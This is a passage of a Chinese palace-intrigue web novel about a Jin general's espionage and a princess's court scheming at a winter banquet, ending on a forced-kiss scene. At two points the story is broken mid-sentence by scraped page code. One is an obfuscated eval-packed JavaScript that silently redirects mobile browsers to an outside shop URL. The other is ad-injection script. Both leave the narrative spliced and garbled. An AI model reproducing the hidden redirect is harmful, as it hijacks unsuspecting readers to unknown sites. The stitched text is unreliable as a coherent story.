司枫道:“的确有些事需要向将军禀报。” 几人入了屋内,司枫将几封信交给魏溱:“大晋那边送来密信,多年前我们的人曾将一间者安插在皇宫中,陛下要我们务必与此人联系上,拿到边防地图。” 崔涯在一旁接话:“今日左尚书找上我们,说七日之后梁帝于宫中设宴,邀我等使臣一同赴宴。我认为这次宫宴正是个好时机。” 魏溱仔细阅了阅密件内容,将纸张垂于烛台之上。 信纸转瞬被火舌吞没,化为一缕灰烬。 他对崔涯道:“我们来梁夏之前便有分工,与梁夏交接上的事由你负责,我和司郎将带着身手好的死士们暗中打探消息,搜集梁夏情报。” “以防万一,届时我和司郎将一同随崔尚书入宫。” 几人商议一番后,漏壶中浮箭报晓,天边泛起蟹壳青。他们起身,各自散去。 司枫等人都走了以后,还留在原地,魏溱问他:“还有何事。” “还有一事需告知将军。”司枫笑得阴恻,“末将已在暗中打点妥当,宫宴当日,会送将军一份大礼。” 魏溱拧眉:“什么大礼?” 熙春楼失火后,一连下了几日的雪,覆盖了喧嚣的京城。 人们的议论声就像漫天飞舞的雪花,纷纷扬扬。 梁夏国地处大漠,素来是风沙漫天干旱以为常,很少像今年这样雪降如席,已经转而成了灾。 路上一边有人煮雪烹茶,一边有人冻死街头。有人说是天降灾祸,有人说是上天示警,还有不少人到熙春楼前凭吊,叹一句世事无常,繁华一梦。 先是玉渊湖爆炸,后又是名楼失火,官府虽下令严查火因,可墉都城中还是人心惶惶,谣言穿街过巷。 即便是在金碧辉煌的公主府中亦难逃此风,下人们在廊下扫雪,窃窃私语着。 “听说失火当日有人纵火,不知是真是假,你们说此人又不图钱财,好端端烧那楼做甚?” “那熙春楼背后有贵人支持,到底何人敢这么大胆啊?” 还有人说:“罢了罢了,这些事不是我们能多言的,还是专心侍奉公主殿下和驸马吧。” 几人嘟囔了几句,见几个宫监模样的人匆匆穿过门廊,忍不住又道:“这是来的第三回了吧?” 依照礼制,周漪月正月内要与驸马回宫,侍奉帝后左右,朝珠公主擅自出宫之举十分不妥,宫中已经多次差人来问。 “公主这病也耽搁了太久了,快七日了还没好全。”有人不经意来了句,继续低着头拿扫帚扫雪了。 此时屋内,周漪月刚将宫里的人送走,一位端雅妇人迈进屋内。 她行了个万福:“臣妇见过朝珠公主殿下。” 来人通身绫罗,色衣裙,发髻高束,周漪月将她请进屋内:“王夫人,外面天寒地冻的,定是下人们传话没传全,怎么还劳烦您亲自过来?” 此人是京兆尹府府尹大人的正妻夫人王氏,因与皇后私交不错,和周漪月打过几次交道。 去年她被妾室陷害,险些要被府尹休妻,是周漪月出面给那个小妾家里找了些麻烦,把她送进了牢狱。 那之后两人的交往便多了起来,这次周漪月特地请她来府上喝茶叙旧。 “前几日熙春楼失火,我与驸马正好在场,还未向府尹大人登门致谢。” “殿下客气了,先前我家大人派人上公主府询问情况,不知可否给殿下添了麻烦,我为此事已经数落过他了。” “夫人此话见外了,府尹大人是为了查案,我理应配合。不知纵火人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻祁盯着她的脸:“怎么瞧着还是有些疲累的样子,今日药可吃了?听侍女说你这几日胃口不好,想吃什么便跟厨房说,上次皇后娘娘为此事已经责怪过我了,万一公主再出什么差池,我这个驸马也不用当了。” “说什么浑话,不过不小心落水而已,我人好好的,谁敢说我驸马不好,我定跟他拼了。” 闻祁笑道:“家有悍妻,夫复何求啊?” 周漪月眉眼上挑,显得有几分刁蛮可爱,“你还好意思说我呢,刚从火场死里逃生的,第三日就跟没事人似的上早朝了。” 她将他的手腕掰过来,上面还有烧伤的痕迹, 闻祁赧然一笑:“咱们夫妇也不知惹了哪路神仙,三番两次遇上这种事。过几日我去宝华寺给公主祈几道平安符来,公主只管养好身子,这才是正事。” 他覆上周漪月的小腹:“我还巴巴盼着公主给我生个麟儿呢。” “只要儿子,若是女儿便不盼了?” “都好都好,是儿是女我都欢喜。” 周漪月见他慌了神,掩帕一笑。 其实,她心里也无数次掠过这样的想法,只是她不知自己能否做好一个母亲的角色。 也许有了孩子,她的心才算真正安定下来……她不知道。 但只要闻祁在身边,她心里就有一种莫大的安全感。 这种安全感让她愿意为他生儿育女。 两人温存了一会,周漪月问他:“驸马今日去做什么了?怎么这段时间神神秘秘的,整日早出晚归,每次都三更天了人才回来。” “明日宫宴,出席的人很多,陛下的意思是办得隆重一些,将晋国使臣都邀请入宫,加上朝中重臣,自然事情多一些。” 周漪月点点头:“这我倒是知道,一大早父皇就吩咐宫里人来了,我正想跟你商议此事。” 闻祁以为她想说自己不去,便道:“公主若不想去我一人去即可,陛下的本意是借此机会拉拢晋国人,左右都是聊些国事,没什么好玩的。” 周漪月摇摇头:“不,我已经让他们给父皇回话了,这次的宫宴我会出席。” 闻祁面露意外,周漪月解释:“总在府里闷着也是无趣,若我这次再推,只怕父皇要恼我了。” “好,那我吩咐下人给公主准备行装。” 他仔细打量周漪月的穿着:“公主正是琼姿花貌的年纪,哪能成天素雅着,我前几日送给公主的几匹琉云锦怎么没见公主穿过?” “已经交给齐嬷嬷去定衣裳了。”周漪月低头看了看自己的打扮,叹了口气,“到底身子不爽,连打扮都没心情了。” “不过你放心,明日的宫宴是大事,我定会好好打起精神。” 最后一句话,周漪月咬得很重。 13.争妍 连日的大雪没有阻挡金楼玉阙内的喧闹,宫宴当日金鼓齐鸣,宫乐声响彻皇宫内外。 皇宫内,宫人们将积雪扫清,锦帷马车一辆辆驶入宫门,辚辚从宫道上驶过。 女眷都要先去皇后的坤宁宫,周漪月和闻祁到朱雀门便下了车分开行走,各自由宫人引路。 还未至宫门便听到殿内的嘈杂声,掌事宫人桂兰姑姑带着几个宫女候在宫门前,见周漪月到了,忙将她请了进去。 “公主殿下可来了,皇后娘娘都等了多时了。娘娘吩咐过,若是殿下来了,先教奴婢请去内殿,一会再一同见各位夫人小姐。” “有劳嬷嬷。” 周漪月迈进内殿时,皇后正端坐在菱花镜前,发鬓还未梳好,一袭暗金凤纹路衣裙向后铺展,青白色织金斗篷,雍容端庄。 窦皇后的五官不甚出众,即便是华服加身珠翠盈头,身上也总带着淡雅如菊的气质,就像她这个人一般——不争不抢,远离纷扰。 无论是家宅内院还是深宫,都容不下这样的性格,这是周漪月一直以来的结论。 “月儿。”窦皇后唤了一声,将她拉到身边,“母后还怕你今日不来,身子骨可好些了?” “母后放心,驸马一向很照顾儿臣,倒是母后,怎么瞧着脸色不好的样子?” 她问桂兰姑姑:“母后昨晚没睡好吗?” 桂兰姑姑回话:“公主不知,杜美人最近龙胎不稳,娘娘为了照顾龙胎这段时间几乎没睡过好觉。昨日又动了胎气,皇后娘娘连夜召太医会诊,今早才消停。” 周漪月道:“此前便听说父皇新纳了一位美人,是个脾气泼辣的,难伺候的很,太后非常不喜欢她。左右不是什么讨人喜欢的人,母后也不必如此上心。” 窦皇后揉了揉太阳穴:“我身为六宫之主,照顾龙胎是我的责任,再说了,杜美人是头胎,自然凡事都要当心一些。” 桂兰姑姑替皇后打抱不平:“梁贵妃就算了,她杜氏算什么东西,不过内务府出身的奴才,仗着怀了龙胎几次三番给娘娘脸色看,娘娘好脾气,奴婢可看不下去!再这样下去,这后宫都要成为她的天下了!” 周漪月并未附和,不动声色来了句:“爬不爬得上去,是要看她的本事的。” 周遭无人,她同窦皇后道:“母后,我已经安排了所有的御医,无论谁给杜美人诊脉都要私下跟她透露,她怀的是皇子。” 此话一出,桂兰姑姑面露不解:“公主此举何意,奴婢怎么听不懂啊?叶氏本就嚣张跋扈,若让她知道自己怀的是皇子,还不更涨她的气焰?” 周漪月垂下眼帘,拿过侍女手上的凤钗,插于窦皇后云鬓之间:“母后放心,我自有安排。” 窦皇后看着妆镜中那张与自己相似的脸,欣慰一笑:“吾儿孝心,母后此心甚慰。月儿,这皇宫中只有我们母女俩相依为命,若没有你,母后真不知道这日子该怎么过下去……” 母女俩又聊了些体己话,刚才的话题变这么轻飘飘揭过去了。 “时候不早了,随我一同去正殿吧。” 两人迈进殿时,殿内已经几乎坐满,大多是后宫嫔妃,诰命夫人还有公主郡主们,放眼望去,皆是姿容艳丽,穿戴华贵,繁复的礼裙层层铺展在白玉地板上。 众人齐齐行礼;“参见皇后娘娘——” “免礼。”皇后在宫人的搀扶下坐上主座,“陛下正与诸位大臣和使节在太和殿议事,先请各位在这里歇息片刻,本宫在寒香园内为各位准备了梅花宴,请各位随本宫一同前往寒香园。” 有人立马顺着窦皇后的话往下说:“一边赏雪一边品茗,皇后娘娘安排的宴会果然有趣。” 梁贵妃今日打扮得也异常隆重,妃色缕金穿花云缎裙,眉眼细长,头上朝阳五凤挂珠钗如点睛之笔,将五官衬得愈发柔美,容光焕发,丝毫看不出是年近四十的人。 两儿一女傍身,加上太子生母的身份,梁贵妃在后宫中的风头几乎完全盖过了皇后。 其他几个嫔妃和贵妇们附和了几句,一众人便在宫人的引导下往寒香园去了。 周漪月正走着,有人唤她:“月姐姐。” 周漪月回头,一个高挑纤细的女子朝她走来,步态袅娜,出尘轻盈的脸裹在质地上乘的狐毛衣领里,瓷白色绣衣如盛开的雪莲。 端的是楚楚动人。 “三姐姐身子可好些了,听说姐姐元宵那日出宫巡游从高楼落水,后来又经历了熙春楼大火,妹妹本想去朝珠宫看望姐姐,谁承想姐姐回公主府了。” “妹妹那里有不少玉痕胶,若是姐姐需要,妹妹便差人给姐姐送过去。” 嘉阳公主周林婉乃梁贵妃所生,周漪月记得她从小心高气傲,眼里揉不得沙子,与自己向来不亲近,她方才还疑惑,怎么今日一反常态对她如此热拢。 果然没好事。 坠湖一事周漪月从未跟人说过,熙春楼之事后她也是第一次出门,也不知周林婉是从哪知道此事的。 一瞬间,好多人的目光往这边看,带着打量和疑惑。 已经有人开始窃窃私语:“听说朝珠公主前不久在玉渊湖坠湖,怎么熙春楼失火也和朝珠公主有关吗?” “又是坠湖又是爆炸,还有失火,这已经不是一个倒霉能解释得了吧?” “一连撞上两场意外,怎会这么巧合,该不会有什么隐情吧?” “八成惹上什么不干净的东西了。”“天呐你可别吓我!” 周漪月听着这些话,嫣然一笑:“五妹妹有心了,我身上的伤只是小事,不劳妹妹操心。” “玉渊湖爆炸波及周边百姓,熙春楼失火案中也烧死了很多人,身为皇室公主,我理应尽公主的责任。我已经向京兆尹府捐了五百两银子,还差人与京兆尹府和巡防营商议,从公主府内调些能用的东西安置那些灾民,并在附近增设粥铺,也好给父皇分忧。” 周漪月此话说得甚是大方得体,周围不少女子凑上前道:“三殿下果真想的周到,正好我家中也有些不用的衣物,殿下若是方便,就捎带上我那一份吧。” 有这样博名声的机会谁不想要,几个贵女争相上前:“我也想给灾民捐一些钱,还请殿下代为转交。” 周漪月颔首:“几位有心了,我定会与府尹大人传达各位的好意。” 周林婉脸色肉眼可见地僵硬起来,努力扬起一抹倩笑,“妹妹自惭形秽,应该多向姐姐学习才是。” 她转身想走,周漪月拉住她的胳膊,姿态亲昵:“妹妹先别急着走啊,还想和你聊几句呢。” 她凑得很近,含情脉脉看着她,仿佛是在以目传情。 “既然姐姐都说了,妹妹怎好意思走……” 周林婉雪肌染上红晕,心里是又羞又燥,只能故作镇定,强撑着身心和她说话。 两人有一搭没一搭聊了几回,其他贵女们看着并肩行走的两人,心里忍不住赞叹:好一幅美人图。 嘉阳公主和她的母亲梁贵妃一样,是典型的柔婉美人,身量纤细,玉容窈窕,转盼回眸时,一双清凌凌的水波目,如梨花着雨,芍药笼烟,好像有万千心绪想诉说。 左边的朝珠公主则是另一番风景,她五官撼美,是一眼让人惊艳的类型,灼若芙蕖,媚眼如丝,朱唇欲滴,身段玲珑有致,一举一动百媚横生,艳压群芳,美得十分有攻击性。 说句冒犯天家的话,就像千年狐狸成精似的。 若单看周林婉,会觉得此女貌美出尘,不可方物,可一旦将目光移向一旁的朝珠公主,便觉得嘉阳公主的相貌索然无味,被碾压得体无完肤。 女子跟她站在一起,是一种灾难。 周林婉走了那么一段,浑身都不自在,找了个托辞:“我有些事要与母妃商议,就先失陪了。” 周漪月环视四周,见目的达到了,也便不挽留了。 周林婉一下甩开她的手,几乎是落荒而逃,脸上没了一丝一毫方才的清冷高雅。 梁贵妃见周林婉慌慌张张跑过来,问她:“怎么了,怎么跟被蛇咬了一样?” “儿臣可不就是被蛇咬了嘛!”周林婉狠狠绞着帕子,清丽的面容浮上一层狠戾。 她不会放过她的。 周漪月看着周林婉活生生被自己吓跑,抿着唇笑个不停。 她这次入宫只带了齐嬷嬷和侍女采莲,采莲是个心直口快的,直接出声问她:“殿下,是奴婢的错觉吗,嘉阳公主说话怎么夹枪带棒的?” “不是你的错觉。”周漪月也这么觉得。 不过,对付这样的女人,根本不需要用什么手段,只要跟她站在一起就行了。 她忍不住看向距她一丈外的梁贵妃,即便是在一众嫔妃中,她也是美得出众。 梁贵妃是后宫一等一的明艳美人,生的女儿却如清水寡淡。 周林婉继承梁氏的美艳相貌十不足五,好在琴棋书画还不错,眉目带着些书卷的清气,加上面相柔和,也多少带了点仙姿玉色的感觉。 周漪月心下有些可惜,她虽不喜梁氏,但十分欣赏她身上的那股力争上游的劲。 采莲问:“奴婢自打记事以来她就总是这样暗戳戳找殿下麻烦,实在让人费解。嘉阳公主为何如此敌视殿下?” “大概因为一些陈芝麻烂谷子的事吧。” 周漪月看向自己的手,欣赏了一下丹蔻:“我十几岁的时候,在御花园的池塘边朝她发髻射了一箭,险些射中她的脑门。大概从那以后,周林婉就记恨上我了。” “不过我都跟她赔过礼道过歉了,怎么还如此斤斤计较?”周漪月面露不解。 采莲张着嘴,半响说不出话来。 险些把人射死,这……这不记恨就有鬼了吧! 这话她只敢腹诽,嘴上还是支支吾吾接道:“这、这…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080204|135966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定是嘉阳公主犯了什么天大的错,才惹得殿下如此生气吧?” “也许罢。” 周漪月面色一滞,手缓缓垂下。 采莲见她神色惶惶,忙问:“殿下怎么了?” 周漪月喃喃道:“我怎么忘了,自己为什么要射她那一箭……” 她大惊失色,攥住采莲的胳膊:“采莲我问你,人的记忆可会出现错乱?就像……就像玉连环一样,明明是连贯的记忆,但是不知道什么原因,把其中一节给忘了,其他的记忆都还是完整的。” 采莲歪了歪头,皱着眉问:“奴婢愚笨,殿下的意思是?” “比如说,一件事,自己只记得结果忘了原因,又或者说,明明的好几个人在一起,却单单忘了其中一个。” 采莲挠挠头,眨了眨眼,思考了半响,还是面露疑惑,“若是记性差,那也该把一整段记忆都忘了,怎么会只记得结果而忘记了原因,或者是只记得一个人而忘记了另一个人呢?” 说者无心听者有意,周漪月感觉心里有什么东西在一点点沉下去。 她一直以为,那个歹人是得了失心疯之类的才如此纠缠她。 可是,如果说,真的有什么方法,让人单独忘了一个人……那么,那个人说的可能都是真的! 周漪月头痛欲裂,闭上眼反复深呼吸,睁开眼问:“左大人今日可入宫?” “殿下说的可是鸿胪寺卿左知熠大人?” 采莲想了想:“今早奴婢刚见过太和殿的小顺子,他说大臣们今日都到齐了,左大人应该也在。” “那就好。”周漪月抿了抿唇,裹紧身上的红羽纱鹤氅,试图稳住自己的步伐。 不多时,众人来到寒香殿,寒香殿内温暖如春,四壁生辉,熏香炉中香雾袅袅,是梅花的淡雅香气。 周漪月正是心烦意乱之时,觉得釉彩盘里的食物都没了光泽,吃了几口烧圆鱼便搁下了筷箸。 采莲问:“殿下,可是今日御膳房的菜不合胃口?听说这梅花汤饼和蜜渍梅花御厨们花费了不少心思呢,还有那梅花酿,是去年宫里几位娘娘亲手摘的,每人只得这么一盏呢。” “许是风寒刚愈,加上一连喝了几日的苦药,嘴里吃不出味来了。” 周漪月浅呷了一口梅花酒,浓烈的梅花香气在口中弥漫,她的味觉似乎在一点点恢复。 的确是好酒,她忍不住多看了酒盏一眼,将盏底剩下的一点余酒喝光。 不过,除了酒香之外,似乎还有什么什么别的味道…… 她只是闪了这么一下念头,权当自己多想了,搁下酒盏环顾四周,突然意识到什么,问采莲:“齐嬷嬷呢,不是说今早被叫去坤宁宫帮忙准备宫宴了,怎么到现在还没见人?” 采莲摇头,只说不知。 此时寒香殿外一处拱门前,桂兰姑姑正质问齐嬷嬷:“嬷嬷贴身伺候公主,怎能一问三不知?公主为何去熙春楼,不知道,公主见了谁,不知道,为何驸马也在,嬷嬷还说不知道……你叫我如何回复皇后娘娘?” 齐嬷嬷不语,桂兰姑姑继续道:“又是坠湖又是失火,难不成灾祸都追着公主殿下跑?嬷嬷老实告诉我,是不是有人要蓄意陷害公主?” 齐嬷嬷点头:“十有八九……公主殿下定是遇上了一些麻烦,至于是何人所为,奴婢还在调查。” 桂兰姑姑没好气道:“等你调查就晚了,娘娘私下派人将公主这几年得罪的人筛了个遍,已经把那些人的嫌疑全部排除了。” 齐嬷嬷垂首沉吟片刻,似乎想起了什么,缓缓抬头:“我突然想起一事,公主坠湖那晚做了噩梦,突然想起了之前那个罪奴,说不定……与此人有关。” 桂兰姑姑脸色大变,连忙向四周看去。 齐嬷嬷冷声道:“这世上只有你我二人和皇后娘娘知道此事,咱也别藏着掖着了。” 桂兰姑姑沉吟半响,把声音压得很低:“公主殿下曾因为那个罪奴的死整日消沉,娘娘这才命我们去求此味安神香,只要长期闻此香,便能忘记最令自己痛苦的人,抹除所有相关的记忆……倘若此人真是起死回生,公主可有大麻烦了。” 两人面色都有些沉重。 桂兰姑姑问她:“我和皇后娘娘从未接触过此人,他的相貌你可还记得?” “隐约有些印象,不过时过境迁,人的相貌也许会改变。” 这世上,或许只有她还清楚记得公主和罪奴阿弃的过去,记得两人荒唐的四年。 齐嬷嬷沉声道:“这几日我会寸步不离待在公主身边,还请皇后娘娘放心,若有什么可疑之人我会第一时间来坤宁宫禀报。” “好罢,你出来的时间也够长的了,且回去吧,我会向皇后娘娘禀告此事的。” 两人离开后,一道身影从廊柱后面走出。 凌云将她们的话都一字不落记在了心里,转身往太和殿方向而去。 14.挑衅 太和殿内,梁帝将将与使臣们议完国事。 “晋国使臣远道而来,朕心甚慰,朕欲设宴以待,以示我梁夏国盛情。” 鸿胪寺卿左知熠上前朝众臣道:“陛下今日于乾和殿设宴,请各位在宫内稍等片刻,待酉时与陛下一同赴宴。” 众人纷纷跪拜,齐声应诺。 此时凌云从殿外回来,朝魏溱耳语一番。 魏溱听着他的话,心里一点点腾盛起杀意。 “把她身边所有香粉换掉。” 他紧绷下颌,一双鹰目像是淬了寒冰,冷得骇沉。凌云打了个寒战,躬身道:“是。” 凌云走后,魏溱看向不远处那个清贵无匹的男子。 绛纱方心曲领冕服,赤金革带,如此鲜艳的颜色穿在他身上,竟生生穿出了沉稳内敛的气质。 衣领领口很高,围着一圈黑狐毛领。 显得十分欲盖弥彰。 魏溱心下冷哼一声,对身旁的崔涯道:“崔大人,可否为我引见一人?” 闻祁这厢正在与兵部尚书谈赈灾一事,商讨雪灾天/朝廷如何弥补牧民损耗,便听见身后有人唤了一声:“闻少卿。” 闻祁转身,见到晋国使节崔涯朝自己走来,身边还跟着一个高大英俊的男子,看着很是眼生。 几人互相行了一礼,崔涯向闻祁介绍:“闻少卿,这位是晋国的魏将军。” 闻祁看向他身边的男子。 听说这次使臣团里有一个年轻的武将,几乎不怎么与他们梁夏官员接触,前几次只是简单打过照面,并未交流过。 如今从这么近的距离看过去,当真是丰朗昳丽,一双乌目如碎钻寒星,鬓若刀裁,剑眉凌厉,俊美的脸在壁灯下泛着生铁一样的光泽。 许是武将的缘故,眉眼间染着一层寒戾,杀伐气扑面而来,加上身量颀长,单是站在那里便令人心口发紧,下意识就想敬而远之。 闻祁接触过那么多的武将,不乏征战沙场多年的,都没有眼前这位有这么强的压迫感。 尽管心下涌上一阵不适,他脸上还是摆出得体的笑,朝那人行了一礼:“魏将军。” 魏溱抬目看向他,并未回礼:“听说闻大人身为太仆寺卿,掌管牧马政令,在下正好有个问题想请教。” “不敢当,将军请讲。” 男人默了默,乌眸冷沉,像是在打量他。 “在我大晋,战马的繁育和训练都由军中武将专责,战马也尽归军中所有。不知为何在梁夏国,这些事反而由太仆寺掌管?大人可能为魏某讲解一番?” 闻祁温声回道:“将此事不难解释,战马非单独作军中之用,也关乎民生国计,若全部交由军中掌管,不利于长远之计。” “可太仆寺不在军中,如何确保马匹的训练和战备?反而是常年征战的武将更清楚战马之需,岂非更合适啊?” 拖长的尾音像是在挑衅和威胁,森寒目光有如逼视,带着千钧之重。 “太仆寺虽不掌兵事,却通晓马匹之需,若由太仆寺主事,与军中将领合作,便可兼顾军民之利,这才是两全其美之策。” 闻祁没有被他的气场镇住,他不卑不亢,将那千钧之力轻轻化解。 两人就这么一来一回地争论着,旁边站着的几个官员听着那些话,心下突突狂跳,一个字也不敢说。 面前两人一个咄咄逼人,一个温文尔雅,明明是在谈正事,却不知为何,总觉得气氛凝重到令人窒息,你来我往之间,有无形刀光闪过。 还有这位魏将军的架势,不像是讨论马政,倒像是……找闻少卿讨要本属于他的军马归属权? 可问题是,这从何说起啊?两人一个在梁夏一个在大晋,争哪门子的军马权? 眼见气氛愈发僵硬,崔涯站出来打了圆场:“两国国情不同,政令上自然有些许出入,二位何必争一时之长短呢?” “崔大人说的是,在下听两位大人的谈论,实在受益匪浅呐。大家以和为贵,以和为贵……” 几人纷纷上前意欲劝和。 闻祁笑道:“是啊,我与魏将军讨论军马政而已,不管由谁掌管,左右战马是军中所需物资,不是谁的私有物。” “有些东西可以不争,不过有些东西,还是分个清楚比较好。” 魏溱薄唇轻抿,含着莫测的笑,目光霜刃一般。 “玩笑话,闻大人切勿当真,若有什么得罪的地方,还望大人莫要与我等武夫计较。” 他一边说着,手不着痕迹搭上他的肩膀,不轻不重拍了一下。 拍的正好是他鞭伤未愈的地方,闻祁吃痛,长眉拧了拧。 “闻大人身上有伤?”魏溱笑了声,语气略带玩味。 一瞬间其他几人也投来询问的目光,闻祁讪讪道:“小伤,前几日骑马不甚摔了胳膊,今日还未好全。” 魏溱道:“摔了胳膊可不是小事,先前魏某也遇到过这样的情况,被一匹发疯的红鬃马伤了筋骨,我便拿铁鞭……将它生生打死了。” 气氛骤然冷沉下去。 魏溱淡淡一笑,眼底却没有半分笑意:“烈马难驯,大人定要好好看好这匹马,免得它再次伤到大人。” “有劳将军关心。”闻祁一向温和的脸上也带了冷色。 此人对他有敌意,他几乎可以确信。 几人各自散去后,崔涯擦了擦额上的汗,天知道他方才有多提心吊胆,生怕魏溱一言不合跟人当场拔剑。 这位可是什么都做得出来。 “将军何苦跟他争一时之气,别忘了我们今日还有重要的事……” 魏溱沉了声:“我正要说此事,眼下距宫宴还有几个时辰,正好借此机会去找我们的人。” “将军记得就好,我生怕你忘了,若有什么需要,只管跟我们说就是。” 魏溱点点头,把一旁的司枫叫过来,朝他们交代了几句,独自走出殿外。 御花园一处假山旁,锦绣已经在此处等候多时。 正来回踱步时,背后传来一阵脚步声,高大的阴影投到她面前的寿山石上。 她一转身,直直撞入一双阴沉黑眸。 今日魏溱不知是怎么了,面色冷得可怕,比冰窖还要冷上几分。 他问:“有人发现你吗?” “应该没有,我跟着晋国舞姬们一同入宫的,一进宫便换上了宫女的衣服,没人发现我。” 他点点头,默默看着她,伸出手,从她腰上取下一方手帕。 妃色的绢帕拿在他手里,将那张衬得越发妖冶,锦绣还未从眼前的景象中恍出神来,他将帕子蒙在她脸上,在后脑系好。 绢帕的凉意若有若无从锦绣脸上划过,她退也不是进也不是,眼睁睁看着那张俊美的脸离自己那么近,连呼吸都忘了。 他眉眼含笑,问她:“上次那个闻驸马可还记得?” “妾身记得。”锦绣心生忐忑,生怕他是发现自己手下留情一事,心跳擂鼓。 却见他俯下身,对她交代了几句,缓缓起身:“记住了吗?” “是,妾身记住了……” 此时侧殿内,闻祁的随从走到他跟前,行了一礼:“大人。” “先前命你调查的那个高大人如何?” “与大人想的一样,此人身上没有任何疑点,生平经历也一切正常,唯一不妥的地方大概就是前几日突然被调任偏远之地,调任令上没有写任何理由。” “他走得迅速,如今人已不在京城,府上也是空无一人,没有留下任何痕迹。” 闻祁冷笑道:“若真是一切正常,又怎么会走得如此匆忙,还走得如此干净?当真是下功夫。” 他闭了闭眼,喟叹一声:“公主给我找了个大麻烦啊……” 随从不语,他在调查高大人时就已经意识到此事了,他背后的人绝对不简单,做事几乎滴水不漏,还能轻易让朝廷官员为自己所用,实在可怕。 闻祁道:“去打听那个晋国魏将军的来历,他的家世,生平经历,甚至是喜好,我都要知道。” “大人怀疑此人?” “我现在还不能确定,我与公主成亲多年,她和晋国人从无往来,此前也从未给听说认识过什么晋人,不会平白无故惹上这等人物的。 “属下明白,待我调查一番就来向大人禀报。” 随从退下,往殿外走去。 闻祁刚要转身,忽然余光瞥到一抹身影。 只见殿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 外是一众身穿宫服的女子,彩衣袅袅地从殿外走过。 其中一人以面纱蒙面,手上捧着锦缎和春服一类的物件,垂首跟在队伍最末。 闻祁几乎一眼便看到她,那眉眼,那身段,与那日熙春楼的歌伎如出一辙。 他几乎拔脚往殿外追去,却见方才那些人已然消失了踪迹。 他忙叫住旁边一个小太监:“方才那些宫女是哪个宫的人,去了何处?” “方才走过去的宫女?”小太监仔细回忆了下,“应该是往绮春宫方向去了。” “绮春宫?”闻祁对这个宫殿没什么印象,想着许是新贵,因问:“不知主位是哪位贵人?” “回大人,这绮春宫是陛下单独给杜美人住的,杜美人身怀龙胎,陛下特许她今日不必参加宫宴,又赏赐了好些东西,那些宫女许是给杜美人送赏赐去了。大人若要去绮春宫的话,奴才可以带路。” “好,有劳公公。”闻祁心里有太多疑问,跟着那人往那边走去。 寒香园内,酒已过三巡,席上的华衣美服的女子们都有些微醺,容颜比满座梅花更为娇美。 周漪月饮得不多,意识还算清醒,见齐嬷嬷从外面回来,问她:“怎么去了这么久?” “娘娘说绣房要给皇女们缝制新的帕子,说奴才最懂公主的喜好,便留在那里帮忙挑选了几个花样。” 周漪月点点头,并未起疑,只交代齐嬷嬷:“别忘了正事,我前几日吩咐你的事可办妥?” “已经办妥。”齐嬷嬷俯身,对周漪月耳语道:“绮春园的宫女流莺的家人已安置妥当,她昨个儿刚向奴婢许诺,会全力帮助我们。” “那就好。我今日要见她一面,你可跟她交代过了?” “是,绮春宫外有一处幽径,东边便是御花园,在那里碰面,几乎没有人会注意。” 齐嬷嬷说罢,面有忧色,又劝道:“公主,要不还是我去吧,一直都是奴婢和她交接的,万一公主去了被人发现——” “不,这次的事非常重要,我要亲自给她交代清楚。若是母后或者谁问起,就说我去御花园吹风醒酒了。” 齐嬷嬷也不再劝她,躬身应诺。 周漪月披上鹤氅,起身朝绮春宫方向而去。 她走得匆忙,没有注意到自己离开的时候,周林婉的视线始终牢牢锁在她身上,脸上露出莫测的神情。 绮春宫在寒香园北向,位置僻静,周漪月穿过长长的宫道,一路上也没见什么人,宫人大多数都是低着头急匆匆地从她身边经过,忙着布置宫宴。 到约定好的地方,果然见到一个神色慌张的小宫女在东张西望。 此处隐蔽于几处假山之间,三面环石,位置十分隐蔽安全。周漪月往四周看了看,确定无人后,走上前去。 “公主殿下。”流莺怯生生的喊了一声,忙上前行礼。 周漪月开门见山:“杜美人进来身体如何,太医怎么说?” 流莺颤抖着“太医说美人她胎相平稳,是皇子的可能性更大,杜美人深以为然,赏了太医不少银子……” 周漪月点点头,“流莺,你今年二十有三,过不了几年就可以出宫,届时我定会吩咐秦总管,给你准备一份丰厚的安置费。” 流莺明白她说的意思,颤抖着下跪:“奴婢定唯殿下马首是瞻!” “这就好。” 周漪月俯身朝她耳语了几句,流莺双目一点点睁大,神情已经已经不能用震惊来形容。 周漪月问她:“记住了吗?” 流莺没想到朝珠公主如此胆大,但事已至此,她所有的家人都在她手上,只能硬着头皮答道:“奴婢记住了。” 虽说此事异常凶险,但若是事成,自己和家人便有享不尽的荣华富贵了。 “去吧,若有什么需要可与齐嬷嬷说,或者告知秦总管。” “奴婢遵命。” 流莺告退后,周漪月正转身欲走,忽而眸光一闪,瞥到远处一个熟悉的身影。 驸马,他怎么在这里? 除了闻祁,他身旁还有一个陌生的女子。 周漪月心生疑惑,正要朝他走去,突然身后伸出一只手揽上她的细腰,把她勾进了一旁的假山里。 15.强吻 “唔——” 呜咽的叫喊声顷刻被堵在了喉咙,男人宽厚的手掌死死按住她的嘴,将她整个人抵在假山石上。 崎岖的石块咯上她的纤背,几乎要将脊骨撞碎。 他凛冽的呼吸近在咫尺,宽厚的手掌铁钳一样扼住她的嘴,虎口处满布薄茧,按压着女子细嫩的雪肌。 “唔……唔……”周漪月拼命挣扎,步摇摔碎地上,珠玉滚落四散。 “殿下不喊,我就放开你。” 逼仄的空间内,魏溱低声说着,冰冷的视线引起女子身体轻轻颤抖。 假山内别有洞天,像是专门为谁准备的私密之所。 即便是死在这里,根本没有人发现。 